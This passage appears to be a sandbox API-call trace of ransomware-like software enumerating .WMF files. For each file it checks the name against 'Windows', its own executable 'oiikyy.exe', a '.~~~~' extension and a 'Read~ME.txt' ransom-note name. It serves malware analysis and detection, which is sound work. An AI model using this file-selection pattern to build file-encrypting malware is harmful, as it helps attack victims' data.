	[0083.334] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d8c4300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d8c4300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00372_.WMF", cAlternateFileName="")) returned 1
	[0083.334] lstrcmpiW (lpString1="DD00372_.WMF", lpString2="Windows") returned -1
	[0083.334] lstrcmpW (lpString1="DD00372_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.334] StrStrW (lpFirst="DD00372_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.334] lstrcmpW (lpString1="DD00372_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.334] GetCurrentThreadId () returned 0x618
	[0083.334] RtlWakeConditionVariable () returned 0x365f48
	[0083.334] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00405_.WMF", cAlternateFileName="")) returned 1
	[0083.334] lstrcmpiW (lpString1="DD00405_.WMF", lpString2="Windows") returned -1
	[0083.334] lstrcmpW (lpString1="DD00405_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.334] StrStrW (lpFirst="DD00405_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.334] lstrcmpW (lpString1="DD00405_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.334] GetCurrentThreadId () returned 0x618
	[0083.334] RtlWakeConditionVariable () returned 0x365f48
	[0083.334] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00407_.WMF", cAlternateFileName="")) returned 1
	[0083.334] lstrcmpiW (lpString1="DD00407_.WMF", lpString2="Windows") returned -1
	[0083.334] lstrcmpW (lpString1="DD00407_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.334] StrStrW (lpFirst="DD00407_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.334] lstrcmpW (lpString1="DD00407_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.335] GetCurrentThreadId () returned 0x618
	[0083.335] RtlWakeConditionVariable () returned 0x365f48
	[0083.335] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00413_.WMF", cAlternateFileName="")) returned 1
	[0083.335] lstrcmpiW (lpString1="DD00413_.WMF", lpString2="Windows") returned -1
	[0083.335] lstrcmpW (lpString1="DD00413_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.335] StrStrW (lpFirst="DD00413_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.335] lstrcmpW (lpString1="DD00413_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.335] GetCurrentThreadId () returned 0x618
	[0083.335] RtlWakeConditionVariable () returned 0x365f48
	[0083.335] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa79c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00414_.WMF", cAlternateFileName="")) returned 1
	[0083.335] lstrcmpiW (lpString1="DD00414_.WMF", lpString2="Windows") returned -1
	[0083.335] lstrcmpW (lpString1="DD00414_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.335] StrStrW (lpFirst="DD00414_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.335] lstrcmpW (lpString1="DD00414_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.335] GetCurrentThreadId () returned 0x618
	[0083.336] RtlWakeConditionVariable () returned 0x365f48
	[0083.336] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ecd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba4ecd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00419_.WMF", cAlternateFileName="")) returned 1
	[0083.336] lstrcmpiW (lpString1="DD00419_.WMF", lpString2="Windows") returned -1
	[0083.336] lstrcmpW (lpString1="DD00419_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.336] StrStrW (lpFirst="DD00419_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.336] lstrcmpW (lpString1="DD00419_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.336] GetCurrentThreadId () returned 0x618
	[0083.336] RtlWakeConditionVariable () returned 0x365f48
	[0083.336] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91da000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb91da000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00437_.WMF", cAlternateFileName="")) returned 1
	[0083.336] lstrcmpiW (lpString1="DD00437_.WMF", lpString2="Windows") returned -1
	[0083.336] lstrcmpW (lpString1="DD00437_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.336] StrStrW (lpFirst="DD00437_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.336] lstrcmpW (lpString1="DD00437_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.336] GetCurrentThreadId () returned 0x618
	[0083.336] RtlWakeConditionVariable () returned 0x365f48
	[0083.336] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00448_.WMF", cAlternateFileName="")) returned 1
	[0083.336] lstrcmpiW (lpString1="DD00448_.WMF", lpString2="Windows") returned -1
	[0083.336] lstrcmpW (lpString1="DD00448_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.336] StrStrW (lpFirst="DD00448_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.336] lstrcmpW (lpString1="DD00448_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.337] GetCurrentThreadId () returned 0x618
	[0083.337] RtlWakeConditionVariable () returned 0x365f48
	[0083.337] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00449_.WMF", cAlternateFileName="")) returned 1
	[0083.337] lstrcmpiW (lpString1="DD00449_.WMF", lpString2="Windows") returned -1
	[0083.337] lstrcmpW (lpString1="DD00449_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.337] StrStrW (lpFirst="DD00449_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.337] lstrcmpW (lpString1="DD00449_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.337] GetCurrentThreadId () returned 0x618
	[0083.337] RtlWakeConditionVariable () returned 0x365f48
	[0083.337] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac04fe00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac04fe00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5130, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00687_.WMF", cAlternateFileName="")) returned 1
	[0083.337] lstrcmpiW (lpString1="DD00687_.WMF", lpString2="Windows") returned -1
	[0083.337] lstrcmpW (lpString1="DD00687_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.337] StrStrW (lpFirst="DD00687_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.337] lstrcmpW (lpString1="DD00687_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.337] GetCurrentThreadId () returned 0x618
	[0083.337] RtlWakeConditionVariable () returned 0x365f48
	[0083.337] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcb1e00, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcb1e00, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x600c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00705_.WMF", cAlternateFileName="")) returned 1
	[0083.337] lstrcmpiW (lpString1="DD00705_.WMF", lpString2="Windows") returned -1
	[0083.337] lstrcmpW (lpString1="DD00705_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.337] StrStrW (lpFirst="DD00705_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.337] lstrcmpW (lpString1="DD00705_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.338] GetCurrentThreadId () returned 0x618
	[0083.338] RtlWakeConditionVariable () returned 0x365f48
	[0083.338] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb92d600, ftCreationTime.dwHighDateTime=0x1bd4b42, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb92d600, ftLastWriteTime.dwHighDateTime=0x1bd4b42, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01015_.WMF", cAlternateFileName="")) returned 1
	[0083.338] lstrcmpiW (lpString1="DD01015_.WMF", lpString2="Windows") returned -1
	[0083.338] lstrcmpW (lpString1="DD01015_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.338] StrStrW (lpFirst="DD01015_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.338] lstrcmpW (lpString1="DD01015_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.338] GetCurrentThreadId () returned 0x618
	[0083.338] RtlWakeConditionVariable () returned 0x365f48
	[0083.338] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x39e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01039_.WMF", cAlternateFileName="")) returned 1
	[0083.338] lstrcmpiW (lpString1="DD01039_.WMF", lpString2="Windows") returned -1
	[0083.338] lstrcmpW (lpString1="DD01039_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.338] StrStrW (lpFirst="DD01039_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.338] lstrcmpW (lpString1="DD01039_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.338] GetCurrentThreadId () returned 0x618
	[0083.338] RtlWakeConditionVariable () returned 0x365f48
	[0083.338] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01138_.WMF", cAlternateFileName="")) returned 1
	[0083.374] lstrcmpiW (lpString1="DD01138_.WMF", lpString2="Windows") returned -1
	[0083.374] lstrcmpW (lpString1="DD01138_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.374] StrStrW (lpFirst="DD01138_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.374] lstrcmpW (lpString1="DD01138_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.379] GetCurrentThreadId () returned 0x618
	[0083.379] RtlWakeConditionVariable () returned 0x365f48
	[0083.379] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01139_.WMF", cAlternateFileName="")) returned 1
	[0083.379] lstrcmpiW (lpString1="DD01139_.WMF", lpString2="Windows") returned -1
	[0083.379] lstrcmpW (lpString1="DD01139_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.379] StrStrW (lpFirst="DD01139_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.379] lstrcmpW (lpString1="DD01139_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.379] GetCurrentThreadId () returned 0x618
	[0083.379] RtlWakeConditionVariable () returned 0x365f48
	[0083.379] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01140_.WMF", cAlternateFileName="")) returned 1
	[0083.379] lstrcmpiW (lpString1="DD01140_.WMF", lpString2="Windows") returned -1
	[0083.379] lstrcmpW (lpString1="DD01140_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.380] StrStrW (lpFirst="DD01140_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.380] lstrcmpW (lpString1="DD01140_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.380] GetCurrentThreadId () returned 0x618
	[0083.380] RtlWakeConditionVariable () returned 0x365f48
	[0083.380] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01143_.WMF", cAlternateFileName="")) returned 1
	[0083.380] lstrcmpiW (lpString1="DD01143_.WMF", lpString2="Windows") returned -1
	[0083.380] lstrcmpW (lpString1="DD01143_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.380] StrStrW (lpFirst="DD01143_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.380] lstrcmpW (lpString1="DD01143_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.380] GetCurrentThreadId () returned 0x618
	[0083.380] RtlWakeConditionVariable () returned 0x365f48
	[0083.380] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xadc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01145_.WMF", cAlternateFileName="")) returned 1
	[0083.381] lstrcmpiW (lpString1="DD01145_.WMF", lpString2="Windows") returned -1
	[0083.381] lstrcmpW (lpString1="DD01145_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.381] StrStrW (lpFirst="DD01145_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.381] lstrcmpW (lpString1="DD01145_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.381] GetCurrentThreadId () returned 0x618
	[0083.381] RtlWakeConditionVariable () returned 0x365f48
	[0083.381] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01146_.WMF", cAlternateFileName="")) returned 1
	[0083.381] lstrcmpiW (lpString1="DD01146_.WMF", lpString2="Windows") returned -1
	[0083.381] lstrcmpW (lpString1="DD01146_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.381] StrStrW (lpFirst="DD01146_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.381] lstrcmpW (lpString1="DD01146_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.381] GetCurrentThreadId () returned 0x618
	[0083.381] RtlWakeConditionVariable () returned 0x365f48
	[0083.381] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01151_.WMF", cAlternateFileName="")) returned 1
	[0083.381] lstrcmpiW (lpString1="DD01151_.WMF", lpString2="Windows") returned -1
	[0083.381] lstrcmpW (lpString1="DD01151_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.381] StrStrW (lpFirst="DD01151_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.381] lstrcmpW (lpString1="DD01151_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.381] GetCurrentThreadId () returned 0x618
	[0083.381] RtlWakeConditionVariable () returned 0x365f48
	[0083.381] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01152_.WMF", cAlternateFileName="")) returned 1
	[0083.382] lstrcmpiW (lpString1="DD01152_.WMF", lpString2="Windows") returned -1
	[0083.382] lstrcmpW (lpString1="DD01152_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.382] StrStrW (lpFirst="DD01152_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.382] lstrcmpW (lpString1="DD01152_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.382] GetCurrentThreadId () returned 0x618
	[0083.382] RtlWakeConditionVariable () returned 0x365f48
	[0083.382] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01157_.WMF", cAlternateFileName="")) returned 1
	[0083.382] lstrcmpiW (lpString1="DD01157_.WMF", lpString2="Windows") returned -1
	[0083.382] lstrcmpW (lpString1="DD01157_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.382] StrStrW (lpFirst="DD01157_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.382] lstrcmpW (lpString1="DD01157_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.382] GetCurrentThreadId () returned 0x618
	[0083.382] RtlWakeConditionVariable () returned 0x365f48
	[0083.382] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01160_.WMF", cAlternateFileName="")) returned 1
	[0083.382] lstrcmpiW (lpString1="DD01160_.WMF", lpString2="Windows") returned -1
	[0083.382] lstrcmpW (lpString1="DD01160_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.382] StrStrW (lpFirst="DD01160_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.382] lstrcmpW (lpString1="DD01160_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.382] GetCurrentThreadId () returned 0x618
	[0083.382] RtlWakeConditionVariable () returned 0x365f48
	[0083.383] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01162_.WMF", cAlternateFileName="")) returned 1
	[0083.383] lstrcmpiW (lpString1="DD01162_.WMF", lpString2="Windows") returned -1
	[0083.383] lstrcmpW (lpString1="DD01162_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.383] StrStrW (lpFirst="DD01162_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.383] lstrcmpW (lpString1="DD01162_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.383] GetCurrentThreadId () returned 0x618
	[0083.383] RtlWakeConditionVariable () returned 0x365f48
	[0083.383] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01163_.WMF", cAlternateFileName="")) returned 1
